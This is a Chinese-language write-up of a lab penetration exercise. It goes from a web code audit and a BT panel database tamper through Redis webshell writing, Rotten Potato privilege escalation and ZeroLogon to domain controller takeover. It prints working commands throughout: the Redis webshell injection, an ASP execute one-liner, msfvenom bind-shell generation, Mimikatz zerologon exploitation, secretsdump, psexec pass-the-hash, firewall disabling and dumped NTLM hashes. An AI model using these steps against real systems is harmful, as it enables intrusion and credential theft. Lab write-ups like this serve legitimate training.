从外网代码审计到三层内网各种漏洞拿到域控
字数 2021 2025-08-05 08:19:38

从外网代码审计到三层内网渗透获取域控的完整过程

前言

本次渗透测试的目标是通过外网代码审计逐步渗透进入三层内网,最终获取域控制器权限。靶场要求获取四台机器上的root.txt文件,获取三个为及格,四个为满分。

初始信息收集

目标网站:http://www.cocat.cc
提示信息:http://www.cocat.cc/web.zip(网站备份文件)

第一阶段:外网渗透

1. 代码审计获取Webshell

  1. 下载网站备份文件web.zip进行代码审计
  2. 发现webshell路径:http://www.cocat.cc/kss_tool/_webup.php
  3. 审计发现执行命令受限,函数被写死

2. 突破命令执行限制

  1. 通过审计找到MySQL配置文件
  2. 尝试MySQL UDF提权失败(MySQL版本>5.1)
  3. 发现系统使用宝塔面板搭建

3. 获取宝塔面板权限

  1. 找到宝塔后台路径:C:/BtSoft/panel/data/admin_path.pl
  2. 下载宝塔数据库文件default.db
  3. 分析users表获取账号密码(MD5加密)
  4. 通过添加新用户或替换MD5值修改数据库
    • 添加用户:saulGoodmang/123456
  5. 上传修改后的数据库文件
  6. 登录宝塔面板后关闭禁用函数并重启服务

4. 获取第一个flag

  1. 成功执行命令绕过限制
  2. 获取第一个root.txt内容:
    flag{moonsec-c20ad4d76fe97759aa27a0c99bff6710-1}
    

第二阶段:内网渗透(第一层)

1. 环境侦察

  1. 发现系统运行火绒AV
  2. 制作免杀payload上线Cobalt Strike
  3. 使用nbtscan和fscan扫描内网资产
    • 发现内网主机:192.168.59.4

2. 建立内网通道

  1. 使用frp建立socks代理进入内网
  2. 使用脚本绕过火绒添加用户:
    • 用户名:hacker
    • 密码:P@ssw0rd
  3. 开启目标3389端口:
    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
    

3. 获取系统凭证

  1. 将shell反弹到Metasploit
  2. 抓取Hash:
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:de935c6087ec367d3ef786915a4edcce:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    hacker:1003:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
    mysql:1002:aad3b435b51404eeaad3b435b51404ee:291376866817cf2ccfe198308e5f925b:::
    www.saulgoodman.cn:1001:aad3b435b51404eeaad3b435b51404ee:894f353e870620b186a9a46ce56ac8f1:::
    
  3. 解密得到administrator密码:QWEasd444

第三阶段:内网横向移动(第二层)

1. 扫描内网资产

  1. 使用Metasploit的arp_scanner模块扫描:

    post/windows/gather/arp_scanner
    
    • 发现主机:192.168.59.1(网关)、192.168.59.4
  2. 使用proxychains+nmap扫描192.168.59.4:

    proxychains nmap -sT -sV -Pn -n -p22,80,139,135,445,3306,1433,6379 192.168.59.4
    
    • 开放端口:6379(Redis)

2. Redis未授权访问利用

  1. 尝试Redis未授权访问,发现需要密码
  2. 使用Metasploit爆破Redis密码:
    • 成功获取密码:123456789qq
  3. 连接Redis:
    proxychains redis-cli -h 192.168.59.4 -p 6379 -a 123456789qq
    

3. 写入Webshell

  1. 尝试写入IIS默认目录:
    config set dir C:/inetpub/wwwroot/
    config set dbfilename 1.aspx
    set x '<%execute(request("x"))%>'
    save
    
  2. 发现写入失败,设置读写权限:
    config set slave-read-only on
    
  3. 绕过拦截的特殊写法(单引号中间带空格):
    set x '    <%execute(request("x"))%>    '
    
  4. 成功获取webshell:http://192.168.59.4/a.asp

第四阶段:内网渗透(第二层)

1. 提权操作

  1. 发现目标机器不出网且权限低
  2. 找到可读写目录:C:\ProgramData\VMware\logs\
  3. 使用坏土豆(Rotten Potato)提权成功

2. 获取第二个flag

flag{moonsec-b6d767d2f8ed5d21a44b0e5886680cb9-2}

3. 添加管理员用户

  1. 添加ASP.NET管理员用户

第五阶段:内网渗透(第三层)

1. 内网存活探测

  1. 使用ping扫描发现存活主机:

    for /l %i in (1,1,255) do @ ping 10.10.10.%i -w 1 -n 1 | find /i "ttl="
    
    • 发现主机:10.10.10.201、10.10.10.202(本机)、10.10.10.209
  2. 关闭防火墙:

    netsh advfirewall set allprofiles state off
    

2. 获取系统控制权

  1. 生成Metasploit正向shell:
    msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=9099 -f exe >/root/9099.exe
    
  2. 目标运行payload后上线MSF
  3. 解密Hash获取密码:QWEasd1122
  4. 开启远程桌面:
    run post/windows/manage/enable_rdp
    

3. 域环境侦察

  1. 使用nbtscan发现域环境:

    • 10.10.10.201(DC)
    • 10.10.10.209(Exchange服务器)
  2. 扫描发现Exchange OWA服务

  3. 查找PST文件获取邮箱信息:

    for /r c:\ %i in (*.pst) do @echo %i
    
    • 发现邮箱:moonsec@cncat.cc、test@cncat.cc

第六阶段:域控获取

1. 利用CVE-2020-1472(ZeroLogon)

  1. 使用20200918之后版本的Mimikatz:

    privilege::debug
    lsadump::zerologon /target:10.10.10.201 /account:12SERVER-DC$
    lsadump::zerologon /target:10.10.10.201 /account:12server-dc$ /exploit
    
  2. 导出所有域用户凭证:

    python3 secretsdump.py cncat/12server-dc$@10.10.10.201 -no-pass
    

    输出:

    cncat.cc\Administrator:500:aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387:::
    

2. 获取域控权限

  1. 使用MSF psexec模块上线:

    use exploit/windows/smb/psexec
    set RHOSTS 10.10.10.201
    set SMBDomain cncat
    set SMBUser Administrator
    set SMBPass aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387
    
  2. 通过令牌窃取切换为域管身份

  3. 与域机器10.10.10.209建立IPC连接

  4. 获取最后一个flag

总结

本次渗透测试完整流程:

  1. 通过外网代码审计获取初始立足点
  2. 突破限制获取宝塔面板权限
  3. 内网渗透发现Redis服务并利用
  4. 横向移动至第二层网络
  5. 发现域环境并利用ZeroLogon漏洞获取域控

关键点:

  • 代码审计能力
  • 内网穿透技术(frp)
  • Redis未授权访问利用
  • Windows提权技术(Rotten Potato)
  • 域渗透技术(ZeroLogon)
  • 免杀技术绕过AV

注意事项:

  • Exchange漏洞利用是常见域渗透路径
  • ZeroLogon利用可能导致域控密码无法恢复,生产环境需谨慎
从外网代码审计到三层内网渗透获取域控的完整过程 前言 本次渗透测试的目标是通过外网代码审计逐步渗透进入三层内网,最终获取域控制器权限。靶场要求获取四台机器上的root.txt文件,获取三个为及格,四个为满分。 初始信息收集 目标网站:http://www.cocat.cc 提示信息:http://www.cocat.cc/web.zip(网站备份文件) 第一阶段:外网渗透 1. 代码审计获取Webshell 下载网站备份文件web.zip进行代码审计 发现webshell路径:http://www.cocat.cc/kss_ tool/_ webup.php 审计发现执行命令受限,函数被写死 2. 突破命令执行限制 通过审计找到MySQL配置文件 尝试MySQL UDF提权失败(MySQL版本>5.1) 发现系统使用宝塔面板搭建 3. 获取宝塔面板权限 找到宝塔后台路径:C:/BtSoft/panel/data/admin_ path.pl 下载宝塔数据库文件default.db 分析users表获取账号密码(MD5加密) 通过添加新用户或替换MD5值修改数据库 添加用户:saulGoodmang/123456 上传修改后的数据库文件 登录宝塔面板后关闭禁用函数并重启服务 4. 获取第一个flag 成功执行命令绕过限制 获取第一个root.txt内容: 第二阶段:内网渗透(第一层) 1. 环境侦察 发现系统运行火绒AV 制作免杀payload上线Cobalt Strike 使用nbtscan和fscan扫描内网资产 发现内网主机:192.168.59.4 2. 建立内网通道 使用frp建立socks代理进入内网 使用脚本绕过火绒添加用户: 用户名:hacker 密码:P@ssw0rd 开启目标3389端口: 3. 获取系统凭证 将shell反弹到Metasploit 抓取Hash: 解密得到administrator密码:QWEasd444 第三阶段:内网横向移动(第二层) 1. 扫描内网资产 使用Metasploit的arp_ scanner模块扫描: 发现主机:192.168.59.1(网关)、192.168.59.4 使用proxychains+nmap扫描192.168.59.4: 开放端口:6379(Redis) 2. Redis未授权访问利用 尝试Redis未授权访问,发现需要密码 使用Metasploit爆破Redis密码: 成功获取密码:123456789qq 连接Redis: 3. 写入Webshell 尝试写入IIS默认目录: 发现写入失败,设置读写权限: 绕过拦截的特殊写法(单引号中间带空格): 成功获取webshell:http://192.168.59.4/a.asp 第四阶段:内网渗透(第二层) 1. 提权操作 发现目标机器不出网且权限低 找到可读写目录:C:\ProgramData\VMware\logs\ 使用坏土豆(Rotten Potato)提权成功 2. 获取第二个flag 3. 添加管理员用户 添加ASP.NET管理员用户 第五阶段:内网渗透(第三层) 1. 内网存活探测 使用ping扫描发现存活主机: 发现主机:10.10.10.201、10.10.10.202(本机)、10.10.10.209 关闭防火墙: 2. 获取系统控制权 生成Metasploit正向shell: 目标运行payload后上线MSF 解密Hash获取密码:QWEasd1122 开启远程桌面: 3. 域环境侦察 使用nbtscan发现域环境: 10.10.10.201(DC) 10.10.10.209(Exchange服务器) 扫描发现Exchange OWA服务 查找PST文件获取邮箱信息: 发现邮箱:moonsec@cncat.cc、test@cncat.cc 第六阶段:域控获取 1. 利用CVE-2020-1472(ZeroLogon) 使用20200918之后版本的Mimikatz: 导出所有域用户凭证: 输出: 2. 获取域控权限 使用MSF psexec模块上线: 通过令牌窃取切换为域管身份 与域机器10.10.10.209建立IPC连接 获取最后一个flag 总结 本次渗透测试完整流程: 通过外网代码审计获取初始立足点 突破限制获取宝塔面板权限 内网渗透发现Redis服务并利用 横向移动至第二层网络 发现域环境并利用ZeroLogon漏洞获取域控 关键点: 代码审计能力 内网穿透技术(frp) Redis未授权访问利用 Windows提权技术(Rotten Potato) 域渗透技术(ZeroLogon) 免杀技术绕过AV 注意事项: Exchange漏洞利用是常见域渗透路径 ZeroLogon利用可能导致域控密码无法恢复,生产环境需谨慎